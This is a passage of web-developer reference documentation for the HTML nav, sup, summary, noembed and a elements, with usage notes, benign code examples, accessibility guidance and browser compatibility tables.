code
stringlengths
2.5k
150k
kind
stringclasses
1 value
html <nav>: The Navigation Section element <nav>: The Navigation Section element ===================================== The `<nav>` [HTML](../index) element represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. Common examples of navigation sections are menus, tables of contents, and indexes. Try it ------ | | | | --- | --- | | [Content categories](../content_categories) | [Flow content](../content_categories#flow_content), [sectioning content](../content_categories#sectioning_content), palpable content. | | Permitted content | [Flow content](../content_categories#flow_content). | | Tag omission | None, both the starting and ending tag are mandatory. | | Permitted parents | Any element that accepts [flow content](../content_categories#flow_content). | | Implicit ARIA role | `[navigation](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/navigation_role)` | | Permitted ARIA roles | No `role` permitted | | DOM interface | [`HTMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement) | Attributes ---------- This element only includes the [global attributes](../global_attributes). Usage notes ----------- * It's not necessary for all links to be contained in a `<nav>` element. `<nav>` is intended only for a major block of navigation links; typically the [`<footer>`](footer) element often has a list of links that don't need to be in a [`<nav>`](nav) element. * A document may have several [`<nav>`](nav) elements, for example, one for site navigation and one for intra-page navigation. [`aria-labelledby`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) can be used in such case to promote accessibility, see [example](heading_elements#labeling_section_content). * User agents, such as screen readers targeting disabled users, can use this element to determine whether to omit the initial rendering of navigation-only content. Examples -------- In this example, a `<nav>` block is used to contain an unordered list ([`<ul>`](ul)) of links. With appropriate CSS, this can be presented as a sidebar, navigation bar, or drop-down menu. ``` <nav class="menu"> <ul> <li><a href="#">Home</a></li> <li><a href="#">About</a></li> <li><a href="#">Contact</a></li> </ul> </nav> ``` The semantics of the `nav` element is that of providing links. However a `nav` element doesn't have to contain a list, it can contain other kinds of content as well. In this navigation block, links are provided in prose: ``` <nav> <h2>Navigation</h2> <p> You are on my home page. To the north lies <a href="/blog">my blog</a>, from whence the sounds of battle can be heard. To the east you can see a large mountain, upon which many <a href="/school">school papers</a> are littered. Far up thus mountain you can spy a little figure who appears to be me, desperately scribbling a <a href="/school/thesis">thesis</a>. </p> <p> To the west are several exits. One fun-looking exit is labeled <a href="https://games.example.com/">"games"</a>. Another more boring-looking exit is labeled <a href="https://isp.example.net/">ISP™</a>. </p> <p> To the south lies a dark and dank <a href="/about">contacts page</a>. Cobwebs cover its disused entrance, and at one point you see a rat run quickly out of the page. </p> </nav> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # the-nav-element](https://html.spec.whatwg.org/multipage/sections.html#the-nav-element) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `nav` | 5 | 12 | 4 | 9 | 11.1 | 5 | Yes | Yes | 4 | 11.1 | 4.2 | Yes | See also -------- * Other section-related elements: [`<body>`](body), [`<article>`](article), [`<section>`](section), [`<aside>`](aside), [`<h1>`](heading_elements), [`<h2>`](heading_elements), [`<h3>`](heading_elements), [`<h4>`](heading_elements), [`<h5>`](heading_elements), [`<h6>`](heading_elements), [`<hgroup>`](hgroup), [`<header>`](header), [`<footer>`](footer), [`<address>`](address); * [Sections and outlines of an HTML document](heading_elements). * [ARIA: Navigation role](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/navigation_role) html <sup>: The Superscript element <sup>: The Superscript element ============================== The `<sup>` [HTML](../index) element specifies inline text which is to be displayed as superscript for solely typographical reasons. Superscripts are usually rendered with a raised baseline using smaller text. Try it ------ Attributes ---------- This element only includes the [global attributes](../global_attributes). Usage notes ----------- The `<sup>` element should only be used for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes. For example, to style the [wordmark](https://en.wikipedia.org/wiki/Wordmark) of a business or product which uses a raised baseline should be done using CSS (most likely [`vertical-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align)) rather than `<sup>`. This would be done using, for example, `vertical-align: super` or, to shift the baseline up 50%, `vertical-align: 50%`. Appropriate use cases for `<sup>` include (but aren't necessarily limited to): * Displaying exponents, such as "x 3 ." It may be worth considering the use of [MathML](https://developer.mozilla.org/en-US/docs/Web/MathML) for these, especially in more complex cases. See [Exponents](#exponents) under [Examples](#examples) below. * Displaying [superior lettering](https://en.wikipedia.org/wiki/Superior_letter), which is used in some languages when rendering certain abbreviations. For example, in French, the word "mademoiselle" can be abbreviated "M lle "); this is an acceptable use case. See [Superior lettering](#superior_lettering) for examples. * Representing ordinal numbers, such as "4 th " instead of "fourth." See [Ordinal numbers](#ordinal_numbers) for examples. Examples -------- ### Exponents Exponents, or powers of a number, are among the most common uses of superscripted text. For example: ``` <p> One of the most common equations in all of physics is <var>E</var>=<var>m</var ><var>c</var><sup>2</sup>. </p> ``` The resulting output looks like this: ### Superior lettering Superior lettering is not technically the same thing as superscript. However, it is common to use `<sup>` to present superior lettering in HTML. Among the most common uses of superior lettering is the presentation of certain abbreviations in French: ``` <p>Robert a présenté son rapport à M<sup>lle</sup> Bernard.</p> ``` The resulting output: ### Ordinal numbers Ordinal numbers, such as "fourth" in English or "quinto" in Spanish may be abbreviated using numerals and language-specific text rendered in superscript: ``` <p> The ordinal number "fifth" can be abbreviated in various languages as follows: </p> <ul> <li>English: 5<sup>th</sup></li> <li>French: 5<sup>ème</sup></li> </ul> ``` The output: Technical Summary ----------------- | | | | --- | --- | | [Content categories](../content_categories) | [Flow content](../content_categories#flow_content), [phrasing content](../content_categories#phrasing_content), palpable content. | | Permitted content | [Phrasing content](../content_categories#phrasing_content). | | Tag omission | None, both the starting and ending tag are mandatory. | | Permitted parents | Any element that accepts [phrasing content](../content_categories#phrasing_content). | | Implicit ARIA role | [No corresponding role](https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role) | | Permitted ARIA roles | Any | | DOM interface | [`HTMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement) | Specifications -------------- | Specification | | --- | | [HTML Standard # the-sub-and-sup-elements](https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-sub-and-sup-elements) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `sup` | Yes | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * The [`<sub>`](sub) HTML element that produces subscripts. Note that you cannot use `sub` and `sup` at the same time: you need to use [MathML](https://developer.mozilla.org/en-US/docs/Web/MathML) to produce both a superscript and a subscript next to the chemical symbol of an element, representing its atomic number and its nuclear number. * The [`<msub>`](https://developer.mozilla.org/en-US/docs/Web/MathML/Element/msub), [`<msup>`](https://developer.mozilla.org/en-US/docs/Web/MathML/Element/msup), and [`<msubsup>`](https://developer.mozilla.org/en-US/docs/Web/MathML/Element/msubsup) MathML elements. * The CSS [`vertical-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align) property. html <summary>: The Disclosure Summary element <summary>: The Disclosure Summary element ========================================= The `<summary>` [HTML](../index) element specifies a summary, caption, or legend for a [`<details>`](details) element's disclosure box. Clicking the `<summary>` element toggles the state of the parent `<details>` element open and closed. Try it ------ Attributes ---------- This element only includes the [global attributes](../global_attributes). Usage notes ----------- The `<summary>` element's contents can be any heading content, plain text, or HTML that can be used within a paragraph. A `<summary>` element may *only* be used as the first child of a `<details>` element. When the user clicks on the summary, the parent `<details>` element is toggled open or closed, and then a [`toggle`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLDetailsElement/toggle_event) event is sent to the `<details>` element, which can be used to let you know when this state change occurs. ### Default label text If a `<details>` element's first child is not a `<summary>` element, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) will use a default string (typically "Details") as the label for the disclosure box. ### Default style Per the HTML specification, the default style for `<summary>` elements includes `display: list-item`. This makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle. You can also change the style to `display: block` to remove the disclosure triangle. See the [Browser compatibility](#browser_compatibility) section for details, as not all browsers support full functionality of this element yet. For Webkit-based browsers, such as Safari, it is possible to control the icon display through the non-standard CSS pseudo-element `::-webkit-details-marker`. To remove the disclosure triangle, use `summary::-webkit-details-marker { display: none }`. Examples -------- Below are some examples showing `<summary>` in use. You can find more examples in the documentation for the [`<details>`](details) element. ### Basic example A simple example showing the use of `<summary>` in a [`<details>`](details) element: ``` <details open> <summary>Overview</summary> <ol> <li>Cash on hand: $500.00</li> <li>Current invoice: $75.30</li> <li>Due date: 5/6/19</li> </ol> </details> ``` ### Summaries as headings You can use heading elements in `<summary>`, like this: ``` <details open> <summary><h4>Overview</h4></summary> <ol> <li>Cash on hand: $500.00</li> <li>Current invoice: $75.30</li> <li>Due date: 5/6/19</li> </ol> </details> ``` This currently has some spacing issues that could be addressed using CSS. **Warning:** Because the `<summary>` element has a default role of [button](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/button_role) (which strips all roles from child elements), this example will not work for users of assistive technologies such as screen readers. The `<h4>` will have its role removed and thus will not be treated as a heading for these users. ### HTML in summaries This example adds some semantics to the `<summary>` element to indicate the label as important: ``` <details open> <summary><strong>Overview</strong></summary> <ol> <li>Cash on hand: $500.00</li> <li>Current invoice: $75.30</li> <li>Due date: 5/6/19</li> </ol> </details> ``` Technical Summary ----------------- | | | | --- | --- | | Permitted content | [Phrasing content](../content_categories#phrasing_content) or one element of [Heading content](../content_categories#heading_content) | | Tag omission | None; both the start tag and the end tag are mandatory. | | Permitted parents | The [`<details>`](details) element. | | Implicit ARIA role | `[button](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/button_role)` | | Permitted ARIA roles | No `role` permitted | | DOM interface | [`HTMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement) | Specifications -------------- | Specification | | --- | | [HTML Standard # the-summary-element](https://html.spec.whatwg.org/multipage/interactive-elements.html#the-summary-element) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `summary` | 12 | 79 | 49 | No | 15 | 6 | 4 | Yes | 49 | 14 | Yes | Yes | | `display_list_item` | 89 | 89 | 49 | No | 75 | No | No | 89 | 49 | No | No | 15.0 | See also -------- * [`<details>`](details) html <noembed>: The Embed Fallback element <noembed>: The Embed Fallback element ===================================== **Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the [compatibility table](#browser_compatibility) at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. The `<noembed>` [HTML](../index) element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the [`<embed>`](embed) element or do not support the type of [embedded content](../content_categories#embedded_content) an author wishes to use. This element was deprecated in HTML 4.01 and above in favor of placing fallback content between the opening and closing tags of an [`<object>`](object) element. **Note:** While this element currently still works in many browsers, it is obsolete and should not be used. Use [`<object>`](object) instead, with fallback content between the opening and closing tags of the element. Examples -------- The message inside `<noembed>` tag will appear only when your browser does not support `<embed>` tag. ### Show an alternative content ``` <embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="200"> <noembed> <h1>Alternative content</h1> </noembed> </embed> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # noembed](https://html.spec.whatwg.org/multipage/obsolete.html#noembed) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `noembed` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | html <a>: The Anchor element <a>: The Anchor element ======================= The `<a>` [HTML](../index) element (or *anchor* element), with [its `href` attribute](#attr-href), creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a URL can address. Content within each `<a>` *should* indicate the link's destination. If the `href` attribute is present, pressing the enter key while focused on the `<a>` element will activate it. Try it ------ Attributes ---------- This element's attributes include the [global attributes](../global_attributes). [**`download`**](#attr-download) Causes the browser to treat the linked URL as a download. Can be used with or without a `filename` value: * Without a value, the browser will suggest a filename/extension, generated from various sources: + The [`Content-Disposition`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) HTTP header + The final segment in the URL [path](https://developer.mozilla.org/en-US/docs/Web/API/URL/pathname) + The [media type](https://developer.mozilla.org/en-US/docs/Glossary/MIME_type) (from the [`Content-Type`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type) header, the start of a [`data:` URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs), or [`Blob.type`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/type) for a [`blob:` URL](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL)) * `filename`: defining a value suggests it as the filename. `/` and `\` characters are converted to underscores (`_`). Filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary. **Note:** * `download` only works for [same-origin URLs](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy), or the `blob:` and `data:` schemes. * How browsers treat downloads varies by browser, user settings, and other factors. The user may be prompted before a download starts, or the file may be saved automatically, or it may open automatically, either in an external application or in the browser itself. * If the `Content-Disposition` header has different information from the `download` attribute, resulting behavior may differ: + If the header specifies a `filename`, it takes priority over a filename specified in the `download` attribute. + If the header specifies a disposition of `inline`, Chrome and Firefox prioritize the attribute and treat it as a download. Old Firefox versions (before 82) prioritize the header and will display the content inline. [**`href`**](#attr-href) The URL that the hyperlink points to. Links are not restricted to HTTP-based URLs — they can use any URL scheme supported by browsers: * Sections of a page with document fragments * Specific text portions with [text fragments](https://developer.mozilla.org/en-US/docs/Web/Text_fragments) * Pieces of media files with media fragments * Telephone numbers with `tel:` URLs * Email addresses with `mailto:` URLs * While web browsers may not support other URL schemes, websites can with [`registerProtocolHandler()`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler) [**`hreflang`**](#attr-hreflang) Hints at the human language of the linked URL. No built-in functionality. Allowed values are the same as [the global `lang` attribute](../global_attributes/lang). [**`ping`**](#attr-ping) A space-separated list of URLs. When the link is followed, the browser will send [`POST`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) requests with the body `PING` to the URLs. Typically for tracking. [**`referrerpolicy`**](#attr-referrerpolicy) How much of the [referrer](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) to send when following the link. * `no-referrer`: The [`Referer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header will not be sent. * `no-referrer-when-downgrade`: The [`Referer`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) header will not be sent to [origin](https://developer.mozilla.org/en-US/docs/Glossary/Origin)s without [TLS](https://developer.mozilla.org/en-US/docs/Glossary/TLS) ([HTTPS](https://developer.mozilla.org/en-US/docs/Glossary/HTTPS)). * `origin`: The sent referrer will be limited to the origin of the referring page: its [scheme](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL), [host](https://developer.mozilla.org/en-US/docs/Glossary/Host), and [port](https://developer.mozilla.org/en-US/docs/Glossary/Port). * `origin-when-cross-origin`: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path. * `same-origin`: A referrer will be sent for [same origin](https://developer.mozilla.org/en-US/docs/Glossary/Same-origin_policy), but cross-origin requests will contain no referrer information. * `strict-origin`: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP). * `strict-origin-when-cross-origin` (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP). * `unsafe-url`: The referrer will include the origin *and* the path (but not the [fragment](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement/hash), [password](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement/password), or [username](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement/username)). **This value is unsafe**, because it leaks origins and paths from TLS-protected resources to insecure origins. [**`rel`**](#attr-rel) The relationship of the linked URL as space-separated [link types](../link_types). [**`target`**](#attr-target) Where to display the linked URL, as the name for a *browsing context* (a tab, window, or [`<iframe>`](iframe)). The following keywords have special meanings for where to load the URL: * `_self`: the current browsing context. (Default) * `_blank`: usually a new tab, but users can configure browsers to open a new window instead. * `_parent`: the parent browsing context of the current one. If no parent, behaves as `_self`. * `_top`: the topmost browsing context (the "highest" context that's an ancestor of the current one). If no ancestors, behaves as `_self`. **Note:** Setting `target="_blank"` on `<a>` elements implicitly provides the same `rel` behavior as setting [`rel="noopener"`](../link_types/noopener) which does not set `window.opener`. [**`type`**](#attr-type) Hints at the linked URL's format with a [MIME type](https://developer.mozilla.org/en-US/docs/Glossary/MIME_type). No built-in functionality. ### Deprecated attributes [**`charset`**](#attr-charset) Deprecated Hinted at the [character encoding](https://developer.mozilla.org/en-US/docs/Glossary/Character_encoding) of the linked URL. **Note:** This attribute is deprecated and **should not be used by authors**. Use the HTTP [`Content-Type`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type) header on the linked URL. [**`coords`**](#attr-coords) Deprecated Used with [the `shape` attribute](#shape). A comma-separated list of coordinates. [**`name`**](#attr-name) Deprecated Was required to define a possible target location in a page. In HTML 4.01, `id` and `name` could both be used on `<a>`, as long as they had identical values. **Note:** Use the global attribute [`id`](../global_attributes#id) instead. [**`rev`**](#attr-rev) Deprecated Specified a reverse link; the opposite of [the `rel` attribute](#rel). Deprecated for being very confusing. [**`shape`**](#attr-shape) Deprecated The shape of the hyperlink's region in an image map. **Note:** Use the [`<area>`](area) element for image maps instead. Examples -------- ### Linking to an absolute URL #### HTML ``` <a href="https://www.mozilla.com"> Mozilla </a> ``` #### Result ### Linking to relative URLs #### HTML ``` <a href="//example.com">Scheme-relative URL</a> <a href="/en-US/docs/Web/HTML">Origin-relative URL</a> <a href="./p">Directory-relative URL</a> ``` #### Result ### Linking to an element on the same page ``` <!-- <a> element links to the section below --> <p><a href="#Section\_further\_down"> Jump to the heading below </a></p> <!-- Heading to link to --> <h2 id="Section\_further\_down">Section further down</h2> ``` **Note:** You can use `href="#top"` or the empty fragment (`href="#"`) to link to the top of the current page, [as defined in the HTML specification](https://html.spec.whatwg.org/multipage/browsing-the-web.html#scroll-to-the-fragment-identifier). ### Linking to an email address To create links that open in the user's email program to let them send a new message, use the `mailto:` scheme: ``` <a href="mailto:[email protected]">Send email to nowhere</a> ``` For details about `mailto:` URLs, such as including a subject or body, see [Email links](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#email_links) or [RFC 6068](https://datatracker.ietf.org/doc/html/rfc6068). ### Linking to telephone numbers ``` <a href="tel:+49.157.0156">+49 157 0156</a> <a href="tel:+1(555)5309">(555) 5309</a> ``` `tel:` link behavior varies with device capabilities: * Cellular devices autodial the number. * Most operating systems have programs that can make calls, like Skype or FaceTime. * Websites can make phone calls with [`registerProtocolHandler`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler), such as `web.skype.com`. * Other behaviors include saving the number to contacts, or sending the number to another device. See [RFC 3966](https://datatracker.ietf.org/doc/html/rfc3966) for syntax, additional features, and other details about the `tel:` URL scheme. ### Using the download attribute to save a <canvas> as a PNG To save a [`<canvas>`](canvas) element's contents as an image, you can create a link where the `href` is the canvas data as a `data:` URL created with JavaScript and the `download` attribute provides the file name for the downloaded PNG file: #### Example painting app with save link ##### HTML ``` <p> Paint by holding down the mouse button and moving it. <a href="" download="my\_painting.png">Download my painting</a> </p> <canvas width="300" height="300"></canvas> ``` ##### CSS ``` html { font-family: sans-serif; } canvas { background: #fff; border: 1px dashed; } a { display: inline-block; background: #69c; color: #fff; padding: 5px 10px; } ``` ##### JavaScript ``` const canvas = document.querySelector('canvas'); const c = canvas.getContext('2d'); c.fillStyle = 'hotpink'; function draw(x, y) { if (isDrawing) { c.beginPath(); c.arc(x, y, 10, 0, Math.PI\*2); c.closePath(); c.fill(); } } canvas.addEventListener('mousemove', (event) => draw(event.offsetX, event.offsetY) ); canvas.addEventListener('mousedown', () => isDrawing = true); canvas.addEventListener('mouseup', () => isDrawing = false); document.querySelector('a').addEventListener('click', (event) => event.target.href = canvas.toDataURL() ); ``` ##### Result Security and privacy -------------------- `<a>` elements can have consequences for users' security and privacy. See [`Referer` header: privacy and security concerns](https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) for information. Using `target="_blank"` without [`rel="noreferrer"`](../link_types/noreferrer) and [`rel="noopener"`](../link_types/noopener) makes the website vulnerable to [`window.opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener) API exploitation attacks, although note that, in newer browser versions setting `target="_blank"` implicitly provides the same protection as setting `rel="noopener"`. See [browser compatibility](#browser_compatibility) for details. Accessibility ------------- ### Strong link text **The content inside a link should indicate where the link goes**, even out of context. #### Inaccessible, weak link text A sadly common mistake is to only link the words "click here" or "here": ``` <p> Learn more about our products <a href="/products">here</a>. </p> ``` #### Strong link text Luckily, this is an easy fix, and it's actually shorter than the inaccessible version! ``` <p> Learn more <a href="/products">about our products</a>. </p> ``` Assistive software has shortcuts to list all links on a page. However, strong link text benefits all users — the "list all links" shortcut emulates how sighted users quickly scan pages. ### onclick events Anchor elements are often abused as fake buttons by setting their `href` to `#` or `javascript:void(0)` to prevent the page from refreshing, then listening for their `click` events . These bogus `href` values cause unexpected behavior when copying/dragging links, opening links in a new tab/window, bookmarking, or when JavaScript is loading, errors, or is disabled. They also convey incorrect semantics to assistive technologies, like screen readers. Use a [`<button>`](button) instead. In general, **you should only use a hyperlink for navigation to a real URL**. ### External links and linking to non-HTML resources Links that open in a new tab/window via `target="_blank"`, or links that point to a download file should indicate what will happen when the link is followed. People experiencing low vision conditions, navigating with the aid of screen reading technology, or with cognitive concerns may be confused when a new tab, window, or application opens unexpectedly. Older screen-reading software may not even announce the behavior. #### Link that opens a new tab/window ``` <a target="\_blank" href="https://www.wikipedia.org"> Wikipedia (opens in new tab) </a> ``` #### Link to a non-HTML resource ``` <a href="2017-annual-report.ppt"> 2017 Annual Report (PowerPoint) </a> ``` If an icon is used to signify link behavior, make sure it has [alt text](img#attr-alt): ``` <a target="\_blank" href="https://www.wikipedia.org"> Wikipedia <img alt="(opens in new tab)" src="newtab.svg" /> </a> <a href="2017-annual-report.ppt"> 2017 Annual Report <img alt="(PowerPoint file)" src="ppt-icon.svg" /> </a> ``` * [WebAIM: Links and Hypertext - Hypertext Links](https://webaim.org/techniques/hypertext/hypertext_links) * [MDN / Understanding WCAG, Guideline 3.2](https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#guideline_3.2_%E2%80%94_predictable_make_web_pages_appear_and_operate_in_predictable_ways) * [G200: Opening new windows and tabs from a link only when necessary](https://www.w3.org/TR/WCAG20-TECHS/G200.html) * [G201: Giving users advanced warning when opening a new window](https://www.w3.org/TR/WCAG20-TECHS/G201.html) ### Skip links A **skip link** is a link placed as early as possible in [`<body>`](body) content that points to the beginning of the page's main content. Usually, CSS hides a skip link offscreen until focused. ``` <body> <a href="#content" class="skip-link">Skip to main content</a> <header>…</header> <main id="content"></main> <!-- The skip link jumps to here --> </body> ``` ``` .skip-link { position: absolute; top: -3em; background: #fff; } .skip-link:focus { top: 0; } ``` Skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation. Skip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice command, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious. * [WebAIM: "Skip Navigation" Links](https://webaim.org/techniques/skipnav/) * [How-to: Use Skip Navigation links](https://www.a11yproject.com/posts/skip-nav-links/) * [MDN / Understanding WCAG, Guideline 2.4 explanations](https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#guideline_2.4_%e2%80%94_navigable_provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are) * [Understanding Success Criterion 2.4.1](https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-skip.html) ### Size and proximity #### Size Interactive elements, like links, should provide an area large enough that it is easy to activate them. This helps a variety of people, including those with motor control issues and those using imprecise inputs such as a touchscreen. A minimum size of 44×44 [CSS pixels](https://www.w3.org/TR/WCAG21/#dfn-css-pixels) is recommended. Text-only links in prose content are exempt from this requirement, but it's still a good idea to make sure enough text is hyperlinked to be easily activated. * [Understanding Success Criterion 2.5.5: Target Size](https://www.w3.org/WAI/WCAG21/Understanding/target-size.html) * [Target Size and 2.5.5](https://adrianroselli.com/2019/06/target-size-and-2-5-5.html) * [Quick test: Large touch targets](https://www.a11yproject.com/posts/large-touch-targets/) #### Proximity Interactive elements, like links, placed in close visual proximity should have space separating them. Spacing helps people with motor control issues, who may otherwise accidentally activate the wrong interactive content. Spacing may be created using CSS properties like [`margin`](https://developer.mozilla.org/en-US/docs/Web/CSS/margin). * [Hand tremors and the giant-button-problem](https://axesslab.com/hand-tremors/) Technical summary ----------------- | | | | --- | --- | | [Content categories](../content_categories) | [Flow content](../content_categories#flow_content), [phrasing content](../content_categories#phrasing_content), [interactive content](../content_categories#interactive_content), palpable content. | | Permitted content | [Transparent](../content_categories#transparent_content_model), except that no descendant may be [interactive content](../content_categories#interactive_content) or an <a> element, and no descendant may have a specified [tabindex](../global_attributes/tabindex) attribute. | | Tag omission | None, both the starting and ending tag are mandatory. | | Permitted parents | Any element that accepts [phrasing content](../content_categories#phrasing_content), or any element that accepts [flow content](../content_categories#flow_content), but not other `<a>` elements. | | Implicit ARIA role | `[link](https://w3c.github.io/aria/#link)` when `href` attribute is present, otherwise [no corresponding role](https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role) | | Permitted ARIA roles | When `href` attribute is present:* `[button](https://w3c.github.io/aria/#button)` * `[checkbox](https://w3c.github.io/aria/#checkbox)` * `[menuitem](https://w3c.github.io/aria/#menuitem)` * `[menuitemcheckbox](https://w3c.github.io/aria/#menuitemcheckbox)` * `[menuitemradio](https://w3c.github.io/aria/#menuitemradio)` * `[option](https://w3c.github.io/aria/#option)` * `[radio](https://w3c.github.io/aria/#radio)` * `[switch](https://w3c.github.io/aria/#switch)` * `[tab](https://w3c.github.io/aria/#tab)` * `[treeitem](https://w3c.github.io/aria/#treeitem)` When `href` attribute is not present:* any | | DOM interface | [`HTMLAnchorElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement) | Specifications -------------- | Specification | | --- | | [HTML Standard # the-a-element](https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-a-element) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `a` | Yes | 12 | Yes Starting with Firefox 41, <a> without `href` attribute is no longer classified as interactive content: clicking it inside <label> will activate labelled content ([bug 1167816](https://bugzil.la/1167816)). | Yes | Yes | Yes | Yes | Yes | Yes Starting with Firefox 41, <a> without `href` attribute is no longer classified as interactive content: clicking it inside <label> will activate labelled content ([bug 1167816](https://bugzil.la/1167816)). | Yes | Yes | Yes | | `charset` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `coords` | No | No | Yes-58 You can no longer nest an `<a>` element inside a `<map>` element to create a hotspot region - `coords` and `shape` attribute support removed. | No | No | No | No | No | Yes-58 You can no longer nest an `<a>` element inside a `<map>` element to create a hotspot region - `coords` and `shape` attribute support removed. | No | No | No | | `download` | 14 Starting in Chrome 65, cross-origin downloads are not supported on the `<a>` element. | 18 13 ["Until Edge 14 (build 14357), attempting to download data URIs caused Edge to crash ([bug 7160092](https://developer.microsoft.com/microsoft-edge/platform/issues/7160092/)).", "Edge 17 or older didn't follow the attributes' value to determine filename ([bug 7260192](https://developer.microsoft.com/microsoft-edge/platform/issues/7260192/))."] | 20 | No | 15 | 10.1 | Yes Starting in WebView 65, cross-origin downloads are not supported on the `<a>` element. | 18 Starting in Chrome 65, cross-origin downloads are not supported on the `<a>` element. | 20 | No | 13 | 1.0 Starting in Samsung Internet 9.0, cross-origin downloads are not supported on the `<a>` element. | | `href` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `hreflang` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `implicit_noopener` | 88 | 88 | 79 | No | No | 12.1 | No | 88 | 79 | Yes | 12.2 | 15.0 | | `name` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `ping` | 12 | 17 | Yes | No | 15 | 6 | ≤37 | 18 | No | 14 | 6 | 1.0 | | `referrerpolicy` | 51 | 79 | 50 | No | 38 | 14 | 51 | 51 | 50 | 41 | 14 | 7.2 | | `rel` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `rev` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `shape` | No | No | Yes-58 You can no longer nest an `<a>` element inside a `<map>` element to create a hotspot region - `coords` and `shape` attribute support removed. | No | No | No | No | No | Yes-58 You can no longer nest an `<a>` element inside a 